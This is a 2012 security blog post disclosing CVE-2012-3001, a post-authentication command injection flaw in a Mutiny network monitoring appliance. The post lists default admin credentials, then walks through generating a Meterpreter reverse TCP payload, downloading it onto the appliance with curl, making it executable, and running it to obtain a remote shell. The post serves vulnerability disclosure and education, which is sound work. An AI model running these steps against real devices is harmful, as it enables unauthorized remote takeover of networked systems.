Wednesday, October 31, 2012

Mutiny Command Injection and CVE-2012-3001

As with the last post, this post is further explanation of things that I briefly covered at BsidesLV earlier this year.  The disclosure process is still ongoing and slow for some things, but the U.S. CERT has been extremely helpful.  They definitely get better results than I did with any of the vendors and they recently disclosed CVE-2012-3001.

Mutiny Technologies network monitoring appliance is vulnerable to multiple command injection vulnerabilities once authenticated to the web application.  The default username is 'admin' and the default password is 'mutiny'.  Even if those were changed, there are simple ways to guess the password for the 'admin' account which I talked about in a previous post about command injection vulnerabilities.  When connecting to the appliance over HTTP you are presented with something like:

The vendor has already added a nice message reminding people to upgrade and even referenced some "linux vulnerability issues" which would be an interesting way of describing command injection vulnerabilities in their web application.  

In this example, we will log in with the admin account.  Once logged in, we can navigate to the "admin" tab located on the top right.

Next we will go to the "Network Configuration" tab and focus on the "Subnet Mask" field.

To confirm that command injection is possible, lets test by pinging our own address.

Success!  Lets take a look at how the post is formed when changes are made to the network configuration. 

Although the Mutiny appliance ships with a disabled firewall and SSH enabled, lets assume that the attacker has discovered this vulnerability externally or is pivoting through another compromised host.  Lets generate a Meterpreter reverse TCP binary, put it on our webserver and put up a listener.

msfpayload linux/x86/meterpreter/reverse_tcp LHOST= LPORT=8443 R | msfencode -t elf > update

Next, we will have to see what is available on the appliance to download our binary. Unfortunately, wget isn't installed or isn't in the path since all we can tell is that it isn't working. However, Curl is installed so we can download our binary, change the permissions and execute it from the web interface.

curl -o /tmp/update
chmod +x /tmp/update

Now our binary has executed and we have our shell.  What context is the web application running as?


Please let me know if you have any questions, thanks for reading and sorry about the lack of PowerShell!


***Update 3/24/13
Juan Vazquez wrote a Metasploit module to exploit this vulnerability. Check it out!